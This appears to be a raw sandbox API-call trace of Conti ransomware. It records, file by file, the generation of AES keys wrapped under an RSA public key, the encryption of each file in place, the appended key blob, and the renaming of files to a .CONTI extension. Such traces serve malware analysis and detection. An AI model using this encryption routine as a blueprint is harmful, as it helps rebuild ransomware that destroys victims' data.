	[0149.650] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.CONTI") returned="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.CONTI"
	[0149.651] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt"), lpNewFileName="C:\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.CONTI" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt.conti")) returned 1
	[0149.651] GetProcessHeap () returned 0x1720000
	[0149.651] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.651] CryptDestroyKey (hKey=0x17de9d0) returned 1
	[0149.651] GetProcessHeap () returned 0x1720000
	[0149.651] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1148 | out: hHeap=0x1720000) returned 1
	[0149.651] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0149.651] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65da298 | out: phKey=0x65da298*=0x17de490) returned 1
	[0149.651] CryptExportKey (in: hKey=0x17de490, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65da29c, pdwDataLen=0x433f9bc | out: pbData=0x65da29c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0149.652] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm")) returned 0x20
	[0149.654] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0149.655] GetLastError () returned 0x0
	[0149.655] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=64872) returned 1
	[0149.655] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfd68
	[0149.655] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.656] SetEndOfFile (hFile=0x2ec) returned 1
	[0149.656] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.656] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.656] WriteFile (in: hFile=0x2ec, lpBuffer=0x65da29c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65da29c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0149.660] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.660] ReadFile (in: hFile=0x2ec, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0xfd68, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0xfd68, lpOverlapped=0x0) returned 1
	[0149.662] CryptEncrypt (in: hKey=0x17de490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xfd68, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xfd70) returned 1
	[0149.662] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.662] WriteFile (in: hFile=0x2ec, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0xfd70, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0xfd70, lpOverlapped=0x0) returned 1
	[0149.662] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.662] WriteFile (in: hFile=0x2ec, lpBuffer=0x65da290*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65da290*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0149.662] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.662] CloseHandle (hObject=0x2ec) returned 1
	[0149.662] GetProcessHeap () returned 0x1720000
	[0149.662] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.662] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm"
	[0149.662] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.CONTI"
	[0149.662] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm.conti")) returned 1
	[0149.663] GetProcessHeap () returned 0x1720000
	[0149.663] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.663] CryptDestroyKey (hKey=0x17de490) returned 1
	[0149.663] GetProcessHeap () returned 0x1720000
	[0149.663] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5548 | out: hHeap=0x1720000) returned 1
	[0149.663] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0149.663] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65db968 | out: phKey=0x65db968*=0x17de5d0) returned 1
	[0149.663] CryptExportKey (in: hKey=0x17de5d0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65db96c, pdwDataLen=0x433f9bc | out: pbData=0x65db96c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0149.664] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm")) returned 0x20
	[0149.664] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0149.664] GetLastError () returned 0x0
	[0149.664] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=69485) returned 1
	[0149.664] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f6d
	[0149.665] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.665] SetEndOfFile (hFile=0x2ec) returned 1
	[0149.665] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.665] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.665] WriteFile (in: hFile=0x2ec, lpBuffer=0x65db96c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65db96c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0149.675] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.675] ReadFile (in: hFile=0x2ec, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x10f6d, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x10f6d, lpOverlapped=0x0) returned 1
	[0149.691] CryptEncrypt (in: hKey=0x17de5d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x10f6d, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x10f70) returned 1
	[0149.691] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.691] WriteFile (in: hFile=0x2ec, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x10f70, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x10f70, lpOverlapped=0x0) returned 1
	[0149.691] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.691] WriteFile (in: hFile=0x2ec, lpBuffer=0x65db960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65db960*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0149.691] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.691] CloseHandle (hObject=0x2ec) returned 1
	[0149.691] GetProcessHeap () returned 0x1720000
	[0149.691] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.691] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm"
	[0149.691] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.CONTI"
	[0149.692] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_it-it.htm.conti")) returned 1
	[0149.692] GetProcessHeap () returned 0x1720000
	[0149.692] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.692] CryptDestroyKey (hKey=0x17de5d0) returned 1
	[0149.692] GetProcessHeap () returned 0x1720000
	[0149.692] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17404d8 | out: hHeap=0x1720000) returned 1
	[0149.692] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0149.692] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65d7988 | out: phKey=0x65d7988*=0x17de790) returned 1
	[0149.692] CryptExportKey (in: hKey=0x17de790, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d798c, pdwDataLen=0x433f9bc | out: pbData=0x65d798c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0149.693] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm")) returned 0x20
	[0149.718] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0149.718] GetLastError () returned 0x0
	[0149.718] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=634083) returned 1
	[0149.718] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9ace3
	[0149.718] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.718] SetEndOfFile (hFile=0x2ec) returned 1
	[0149.718] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.719] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.719] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d798c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65d798c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0149.731] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.731] ReadFile (in: hFile=0x2ec, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x9ace3, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x9ace3, lpOverlapped=0x0) returned 1
	[0149.737] CryptEncrypt (in: hKey=0x17de790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x9ace3, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x9acf0) returned 1
	[0149.738] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.738] WriteFile (in: hFile=0x2ec, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x9acf0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x9acf0, lpOverlapped=0x0) returned 1
	[0151.781] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.781] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d7980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65d7980*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0151.782] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.782] CloseHandle (hObject=0x2ec) returned 1
	[0151.782] GetProcessHeap () returned 0x1720000
	[0151.782] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.782] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm"
	[0151.782] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.CONTI"
	[0151.782] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ko-kr.htm.conti")) returned 1
	[0151.783] GetProcessHeap () returned 0x1720000
	[0151.783] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.783] CryptDestroyKey (hKey=0x17de790) returned 1
	[0151.783] GetProcessHeap () returned 0x1720000
	[0151.783] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740730 | out: hHeap=0x1720000) returned 1
	[0151.783] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0151.783] VirtualFree (lpAddress=0xb6e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0151.800] CryptDestroyKey (hKey=0x175dd70) returned 1
	[0151.800] RtlExitUserThread (Status=0x0) 

Thread:
	id = 158
	os_tid = 0xd58

	[0093.067] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xbbf0000
	[0093.067] CryptAcquireContextA (in: phProv=0x447fecc, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x447fecc*=0x1761368) returned 1
	[0093.069] CryptImportKey (in: hProv=0x1761368, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x447fec8 | out: phKey=0x447fec8*=0x175ddb0) returned 1
	[0093.070] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0093.648] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x17c4108 | out: phKey=0x17c4108*=0x175e330) returned 1
	[0093.648] CryptExportKey (in: hKey=0x175e330, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c410c, pdwDataLen=0x447fe94 | out: pbData=0x17c410c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0093.655] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80
	[0093.655] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.655] GetLastError () returned 0x0
	[0093.655] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=86284) returned 1
	[0093.655] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1510c
	[0093.655] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.655] SetEndOfFile (hFile=0x33c) returned 1
	[0093.655] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.655] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.656] WriteFile (in: hFile=0x33c, lpBuffer=0x17c410c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x17c410c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.657] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.657] ReadFile (in: hFile=0x33c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x1510c, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x1510c, lpOverlapped=0x0) returned 1
	[0093.660] CryptEncrypt (in: hKey=0x175e330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x1510c, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x15110) returned 1
	[0093.660] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.660] WriteFile (in: hFile=0x33c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x15110, lpOverlapped=0x0) returned 1
	[0093.660] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.660] WriteFile (in: hFile=0x33c, lpBuffer=0x17c4100*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x17c4100*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0093.660] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.660] CloseHandle (hObject=0x33c) returned 1
	[0093.662] GetProcessHeap () returned 0x1720000
	[0093.662] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7f58
	[0093.664] lstrcpyW (in: lpString1=0x17c7f58, lpString2="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml"
	[0093.664] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.CONTI"
	[0093.664] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.conti")) returned 1
	[0093.664] GetProcessHeap () returned 0x1720000
	[0093.664] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7f58 | out: hHeap=0x1720000) returned 1
	[0093.664] CryptDestroyKey (hKey=0x175e330) returned 1
	[0093.664] GetProcessHeap () returned 0x1720000
	[0093.664] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfbf0 | out: hHeap=0x1720000) returned 1
	[0093.664] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0094.170] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x17d3d60 | out: phKey=0x17d3d60*=0x175e4f0) returned 1
	[0094.170] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3d64, pdwDataLen=0x447fe94 | out: pbData=0x17d3d64*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0094.176] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80
	[0094.176] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.176] GetLastError () returned 0x0
	[0094.176] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=894) returned 1
	[0094.176] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37e
	[0094.176] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.177] SetEndOfFile (hFile=0x34c) returned 1
